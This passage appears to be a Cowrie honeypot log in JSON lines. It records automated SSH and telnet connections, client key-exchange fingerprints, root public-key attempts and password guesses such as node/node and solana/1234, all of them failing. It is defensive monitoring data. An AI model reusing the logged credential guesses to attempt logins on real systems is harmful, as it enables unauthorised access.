ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:16.395373Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:99:4c:96:34:74:52:cc:86:ef:79:66:63:25:5c:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/UKZ6bxVZc4+RO/JlxZliCZJT52VezSS10ckzQi4GF5Lt82TovG01DUkYloXSvdofG5qoTAFXnHiq+nt73cvLaYwiKWQPZK331dV8ZDJQssu5hIuBXWlFe9RChhmhAjkYGZxjxJ/gElpe7JLunX1AF4Mh+RAQYwHOSW0yDmeRmpIiM6ZOOV8IL/MctvvSMLPg1I9NEgOslHaOXA67AtExO7UKfMskxKtAfkITs1hd4kLPXmDMsD4IvRacMPJmYK/u5CY95LfApm/S/KuPnve/x2m/a3/S+44avM92+vz7khjW4YlPa7CwWw2dZVtfCRmPjEipJWwIMfT0YMWZTcih0vxe5tXv6F4cEv/PkCeVrWJjTNb48utfXWIXRML5WaPoLkZf7snaNfs0usU5yhAOdmTXPgrIgUqFaJl/tJMwdV1cZoWLAcTGjepB6bloHnaqxs4Mzf5fxDsdLFDoypM6rzWwA2gyLAFcXyJQvu6MdCeHAoxCNEq4tpqGr3WMRSM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:99:4c:96:34:74:52:cc:86:ef:79:66:63:25:5c:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:16.809354Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:99:4c:96:34:74:52:cc:86:ef:79:66:63:25:5c:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/UKZ6bxVZc4+RO/JlxZliCZJT52VezSS10ckzQi4GF5Lt82TovG01DUkYloXSvdofG5qoTAFXnHiq+nt73cvLaYwiKWQPZK331dV8ZDJQssu5hIuBXWlFe9RChhmhAjkYGZxjxJ/gElpe7JLunX1AF4Mh+RAQYwHOSW0yDmeRmpIiM6ZOOV8IL/MctvvSMLPg1I9NEgOslHaOXA67AtExO7UKfMskxKtAfkITs1hd4kLPXmDMsD4IvRacMPJmYK/u5CY95LfApm/S/KuPnve/x2m/a3/S+44avM92+vz7khjW4YlPa7CwWw2dZVtfCRmPjEipJWwIMfT0YMWZTcih0vxe5tXv6F4cEv/PkCeVrWJjTNb48utfXWIXRML5WaPoLkZf7snaNfs0usU5yhAOdmTXPgrIgUqFaJl/tJMwdV1cZoWLAcTGjepB6bloHnaqxs4Mzf5fxDsdLFDoypM6rzWwA2gyLAFcXyJQvu6MdCeHAoxCNEq4tpqGr3WMRSM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:16.812778Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:dc:4e:25:de:61:24:b6:34:53:fe:a4:a7:fb:61:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUJ2WtlIoW25ntDQX2bXs/y4K07JMZjUJ+snonRdheHtwVNlIpulkwkz7CO4wBMKMpHssWcobxIUGgCEIKLmykT2OtQmTm3myg0aMGZorzd9s4N8yH9tqr4s/YXIBmxXIXVlFdNfQWHQeVbX1B7y3QnTrR/g4J423Or/LlhhT2/VdWW2HN5Lptivj9A+nEnmR0IRjTwpDv2W262ygc/nJCWajqNVoDDAtVdPobOwZUdj5niX7QqFSISL5EQoRGdflXytIC6tI/sOtDiWj98X31tGKKgCttkRRT9h4cW+GAOIpugwu32SzDzy9IyeryFGAuZnq5wAcj/vQ7Ac8u9ou6DcMWgJgYWcL/Jrm1px3uBcVBT9WH7u9jCXfgr1NO5mmfgp95FFHUOOx/sc3D4E+jkLgn1+5U9I1EYVDKWhZwqt8qmd2raK5IHJgIcMAlYQXUTyVyHWeTA9VURwYVxU53YZy64x7+tLiBTjytiNzMJIfs0uh30J2Yljf84YmxQEesHCEFpDU/OXYQ3O5ARZL9lbdenPhhQCANs5wBc3lLfsMrgp+CLaXo1sglOFpJDFXbn3Y2oFrhbgCtmMnuaj9VjbS3CUAd5Fj4WikQD4mcT0S1O97s0PoCXIzL6dr892A049rbtO7bWi5QKMbtknQNWbxlupJc2In1JWXnDAnc+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:dc:4e:25:de:61:24:b6:34:53:fe:a4:a7:fb:61:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:16.900344Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:dc:4e:25:de:61:24:b6:34:53:fe:a4:a7:fb:61:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUJ2WtlIoW25ntDQX2bXs/y4K07JMZjUJ+snonRdheHtwVNlIpulkwkz7CO4wBMKMpHssWcobxIUGgCEIKLmykT2OtQmTm3myg0aMGZorzd9s4N8yH9tqr4s/YXIBmxXIXVlFdNfQWHQeVbX1B7y3QnTrR/g4J423Or/LlhhT2/VdWW2HN5Lptivj9A+nEnmR0IRjTwpDv2W262ygc/nJCWajqNVoDDAtVdPobOwZUdj5niX7QqFSISL5EQoRGdflXytIC6tI/sOtDiWj98X31tGKKgCttkRRT9h4cW+GAOIpugwu32SzDzy9IyeryFGAuZnq5wAcj/vQ7Ac8u9ou6DcMWgJgYWcL/Jrm1px3uBcVBT9WH7u9jCXfgr1NO5mmfgp95FFHUOOx/sc3D4E+jkLgn1+5U9I1EYVDKWhZwqt8qmd2raK5IHJgIcMAlYQXUTyVyHWeTA9VURwYVxU53YZy64x7+tLiBTjytiNzMJIfs0uh30J2Yljf84YmxQEesHCEFpDU/OXYQ3O5ARZL9lbdenPhhQCANs5wBc3lLfsMrgp+CLaXo1sglOFpJDFXbn3Y2oFrhbgCtmMnuaj9VjbS3CUAd5Fj4WikQD4mcT0S1O97s0PoCXIzL6dr892A049rbtO7bWi5QKMbtknQNWbxlupJc2In1JWXnDAnc+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:16.903800Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:22:32:6f:3e:07:cb:eb:4a:e5:0b:f7:8b:80:9e:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVk4fdOG1V3W8nomlg+V3JifT+m7DYRPk+gMM9Bct91S2PLVVR7TwEQg/r7IJYps38YvZ44NUNHf6AVMeY9hC/gtCqKiRih/SjJgi6oQ3ty0VSzhprlnWBi9f96uorOvB55VjwxpmL4F4zbJFzfQIjXk4GsG0aM+tuw9+GHwNmbBGtkLI/tmTBn0Zn8CT5fLG4iOiTLhDFAtq2rbyUE6cYs1Wm7vgzaorJpuMqJ2dpYPYdRmzaJ1GL2ruI2FzPSchRIm3Co+2YR9JKJXWoaEAy5ZmTlDVLJ60DuS4B4xfKYTAtLRULhX4VrhmZxpnEwPA73E+Zw3gL+kSbsLPAzUHYHUlZbu2y9P3imWQBBORa5b9zSMIcU14KvA6vN7xMqgU1EZLMRFLx8Jd6xZ24zUScr9/j7pqrDvkai4o0p1ZBpE7MR9Pm3I9Nyc3ErgxafUSFYs1aneHTE2rXFZxvIN+Dw4x4Z1ciLjVeehPYA5EhkAJBzHr6wrjgSEir4B6XbcfeIVGkb09HQ7RKge6u5ruFOsRk28M4Bl4UvpEsuvuKEkTXt7Oh1z6EZjH4U3q7p/eGLo9hpUTO3RvMrUkt8fbvhDWkKZW3Ydzmx5dotYYBYs1rRFa9J761vkcmQ0vf3zpebvgRjIciYowxVO7qCI15zhxBNc+/10mNzWZCTfYlLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:22:32:6f:3e:07:cb:eb:4a:e5:0b:f7:8b:80:9e:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:16.991435Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:22:32:6f:3e:07:cb:eb:4a:e5:0b:f7:8b:80:9e:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVk4fdOG1V3W8nomlg+V3JifT+m7DYRPk+gMM9Bct91S2PLVVR7TwEQg/r7IJYps38YvZ44NUNHf6AVMeY9hC/gtCqKiRih/SjJgi6oQ3ty0VSzhprlnWBi9f96uorOvB55VjwxpmL4F4zbJFzfQIjXk4GsG0aM+tuw9+GHwNmbBGtkLI/tmTBn0Zn8CT5fLG4iOiTLhDFAtq2rbyUE6cYs1Wm7vgzaorJpuMqJ2dpYPYdRmzaJ1GL2ruI2FzPSchRIm3Co+2YR9JKJXWoaEAy5ZmTlDVLJ60DuS4B4xfKYTAtLRULhX4VrhmZxpnEwPA73E+Zw3gL+kSbsLPAzUHYHUlZbu2y9P3imWQBBORa5b9zSMIcU14KvA6vN7xMqgU1EZLMRFLx8Jd6xZ24zUScr9/j7pqrDvkai4o0p1ZBpE7MR9Pm3I9Nyc3ErgxafUSFYs1aneHTE2rXFZxvIN+Dw4x4Z1ciLjVeehPYA5EhkAJBzHr6wrjgSEir4B6XbcfeIVGkb09HQ7RKge6u5ruFOsRk28M4Bl4UvpEsuvuKEkTXt7Oh1z6EZjH4U3q7p/eGLo9hpUTO3RvMrUkt8fbvhDWkKZW3Ydzmx5dotYYBYs1rRFa9J761vkcmQ0vf3zpebvgRjIciYowxVO7qCI15zhxBNc+/10mNzWZCTfYlLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:16.995422Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:51:c7:a3:d7:fa:88:6c:f4:57:a5:c4:3a:68:95:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDs0HBqE9ZQT8r74bmfs6eucPH3eX+8XnALt/2C0a9yal4qbU2viyczjvscVuXe7AMBezIBMIY8TCdW/bH2xhoz2/EyJ+vDp5iRqBmSPR9FtYL2byiJ9MqK/VcPAFi1N/a58joqpKd2/d2DoxNfj4sxsXrY8W6Tc1w5ylMNtpJyJPmjPZr3dwAcQmv4zjIYMANUUxNZIqXPOChdAkPJAujMQJHBxB+L3k+t2N0xL5aYiNhSXIeNMhkoatNq56pt3xU8NSVgC4nVfNytdNGlwb4du8pd67AlpSr4floNmYjXhDtfTl3UgVvElgIpnhYY65Pbbq+PXvEgdyDNsHKbvFiIEq+GDfahpAFYMAbxYlUpxLW/qH24Djr7sCr0dWoOqVkIML8/F2nd1sBVdk0xEsH5HeyyhSx6u1R6af/ZI3gzXcEwsykYEl7k/MBz97A5nlRlU3A31rIApk3ueTCF7KKKKDjgbnia24J5tHl0IaNZhOcasxLp36+LjMulJ7wKpEAVYgREisksma25V+zHBYJC5Kk+gjKNthTvk5Dn7+sP6QjHPtB4FhEndV5GWS2YL3xukFVBjUu01wBg37X82X2y9bTX0CCqrUu/2FE0NuwsrHUkriqmad0+Op7Z17ifwW0unVT6Z4PLCRciIcFS+LxIFZDs0fu41ZZ84DCx6QZByQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:51:c7:a3:d7:fa:88:6c:f4:57:a5:c4:3a:68:95:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:17.087159Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:51:c7:a3:d7:fa:88:6c:f4:57:a5:c4:3a:68:95:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDs0HBqE9ZQT8r74bmfs6eucPH3eX+8XnALt/2C0a9yal4qbU2viyczjvscVuXe7AMBezIBMIY8TCdW/bH2xhoz2/EyJ+vDp5iRqBmSPR9FtYL2byiJ9MqK/VcPAFi1N/a58joqpKd2/d2DoxNfj4sxsXrY8W6Tc1w5ylMNtpJyJPmjPZr3dwAcQmv4zjIYMANUUxNZIqXPOChdAkPJAujMQJHBxB+L3k+t2N0xL5aYiNhSXIeNMhkoatNq56pt3xU8NSVgC4nVfNytdNGlwb4du8pd67AlpSr4floNmYjXhDtfTl3UgVvElgIpnhYY65Pbbq+PXvEgdyDNsHKbvFiIEq+GDfahpAFYMAbxYlUpxLW/qH24Djr7sCr0dWoOqVkIML8/F2nd1sBVdk0xEsH5HeyyhSx6u1R6af/ZI3gzXcEwsykYEl7k/MBz97A5nlRlU3A31rIApk3ueTCF7KKKKDjgbnia24J5tHl0IaNZhOcasxLp36+LjMulJ7wKpEAVYgREisksma25V+zHBYJC5Kk+gjKNthTvk5Dn7+sP6QjHPtB4FhEndV5GWS2YL3xukFVBjUu01wBg37X82X2y9bTX0CCqrUu/2FE0NuwsrHUkriqmad0+Op7Z17ifwW0unVT6Z4PLCRciIcFS+LxIFZDs0fu41ZZ84DCx6QZByQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:17.090960Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:bb:68:d7:d2:0c:6e:62:a9:8d:6e:e2:75:79:45:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu0lo45aD+Wmhy2lBYStfn/s4oX7YwL7d38GTVlPA7+jtdwlDGsOUyy867NquYsikEMxbTTIpwbSVi2wrqUnzYWrDfidX+wcHwRNuy9UducjmNpiryfLcz6/YDWxmOtDgJohOrOyV9d6az5bejBrEzjnZiPt7C5NL5gjjJCOWTRWdTh+n5e+iqVSaChIPQ5guB20sauriBp9ZQeeKCUZjk5GyljBVY91jmnpMFZa7yfST2oSJ3fSOXLzA9sqWWDhzW3Nrt0N5n4Jq1kd+/CYDQKMWYiF0fzGtEmJ5QddbgmLHGJETafMlz7mIXpmk2EjznV5c11+hUrBGxRieEXuO2IDvDsXXitKpZwAu/GJpJavClcrhu6UqH+FSi/nN8nRmXtS3ur1ATQLg4GGOPFuAHy+9O9NwTx9slT9d4UQYQGgEZsSS2g9XmZXkHW0ZTXJ9JRCEBGfiI206mCpWe4Pup8TVekVeTLBAjdkimK8jHTIgT+rFy0/ObIIU2/ziUZ4WiPOX0C0+u/73XVhZLg//WQadyrxJPM5N1nL0f0ym8DOjuXOp880MX58JuJz9iz33yvNUWpiIdUVoveWOGOzIXFPMI8ZeACksCExcRQ2yrvWfyfu7MYCg+vxhTGGTOGkgMUQtO+5se/PtsfoyYynbtAvEfj3qieKkfJAr8DiItJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:bb:68:d7:d2:0c:6e:62:a9:8d:6e:e2:75:79:45:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:17.178762Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:bb:68:d7:d2:0c:6e:62:a9:8d:6e:e2:75:79:45:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu0lo45aD+Wmhy2lBYStfn/s4oX7YwL7d38GTVlPA7+jtdwlDGsOUyy867NquYsikEMxbTTIpwbSVi2wrqUnzYWrDfidX+wcHwRNuy9UducjmNpiryfLcz6/YDWxmOtDgJohOrOyV9d6az5bejBrEzjnZiPt7C5NL5gjjJCOWTRWdTh+n5e+iqVSaChIPQ5guB20sauriBp9ZQeeKCUZjk5GyljBVY91jmnpMFZa7yfST2oSJ3fSOXLzA9sqWWDhzW3Nrt0N5n4Jq1kd+/CYDQKMWYiF0fzGtEmJ5QddbgmLHGJETafMlz7mIXpmk2EjznV5c11+hUrBGxRieEXuO2IDvDsXXitKpZwAu/GJpJavClcrhu6UqH+FSi/nN8nRmXtS3ur1ATQLg4GGOPFuAHy+9O9NwTx9slT9d4UQYQGgEZsSS2g9XmZXkHW0ZTXJ9JRCEBGfiI206mCpWe4Pup8TVekVeTLBAjdkimK8jHTIgT+rFy0/ObIIU2/ziUZ4WiPOX0C0+u/73XVhZLg//WQadyrxJPM5N1nL0f0ym8DOjuXOp880MX58JuJz9iz33yvNUWpiIdUVoveWOGOzIXFPMI8ZeACksCExcRQ2yrvWfyfu7MYCg+vxhTGGTOGkgMUQtO+5se/PtsfoyYynbtAvEfj3qieKkfJAr8DiItJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:17.182760Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:17.270638Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":40124,"dst_ip":"10.17.0.5","dst_port":23,"session":"12afd5f88e5e","protocol":"telnet","message":"New connection: 180.235.129.180:40124 (10.17.0.5:23) [session: 12afd5f88e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:55.467814Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42130,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a6d4ac7d29e","protocol":"ssh","message":"New connection: 193.32.162.145:42130 (159.203.135.109:22) [session: 9a6d4ac7d29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:59.343897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:59.347871Z","src_ip":"193.32.162.145","session":"9a6d4ac7d29e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:59.462605Z","src_ip":"193.32.162.145","session":"9a6d4ac7d29e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:59.769370Z","src_ip":"193.32.162.145","session":"9a6d4ac7d29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:39:00.874228Z","src_ip":"193.32.162.145","session":"9a6d4ac7d29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.129971504211426,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:39:01.597677Z","src_ip":"180.235.129.180","session":"12afd5f88e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":41880,"dst_ip":"10.17.0.5","dst_port":23,"session":"b424d53d3706","protocol":"telnet","message":"New connection: 180.235.129.180:41880 (10.17.0.5:23) [session: b424d53d3706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:39:13.983538Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":41878,"dst_ip":"10.17.0.5","dst_port":23,"session":"750224aad805","protocol":"telnet","message":"New connection: 180.235.129.180:41878 (10.17.0.5:23) [session: 750224aad805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:39:14.013367Z"}
{"eventid":"cowrie.session.closed","duration":8.314501762390137,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:39:22.327734Z","src_ip":"180.235.129.180","session":"750224aad805","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.37096619606018,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:39:22.354390Z","src_ip":"180.235.129.180","session":"b424d53d3706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":50208,"dst_ip":"10.17.0.5","dst_port":23,"session":"75d918ec04c7","protocol":"telnet","message":"New connection: 180.235.129.180:50208 (10.17.0.5:23) [session: 75d918ec04c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:40:59.524856Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56160,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b28bcc85c9b","protocol":"ssh","message":"New connection: 193.32.162.145:56160 (159.203.135.109:22) [session: 2b28bcc85c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:41:06.609986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:41:06.614617Z","src_ip":"193.32.162.145","session":"2b28bcc85c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:41:06.715530Z","src_ip":"193.32.162.145","session":"2b28bcc85c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:41:07.022373Z","src_ip":"193.32.162.145","session":"2b28bcc85c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:41:08.129825Z","src_ip":"193.32.162.145","session":"2b28bcc85c9b","protocol":"ssh"}
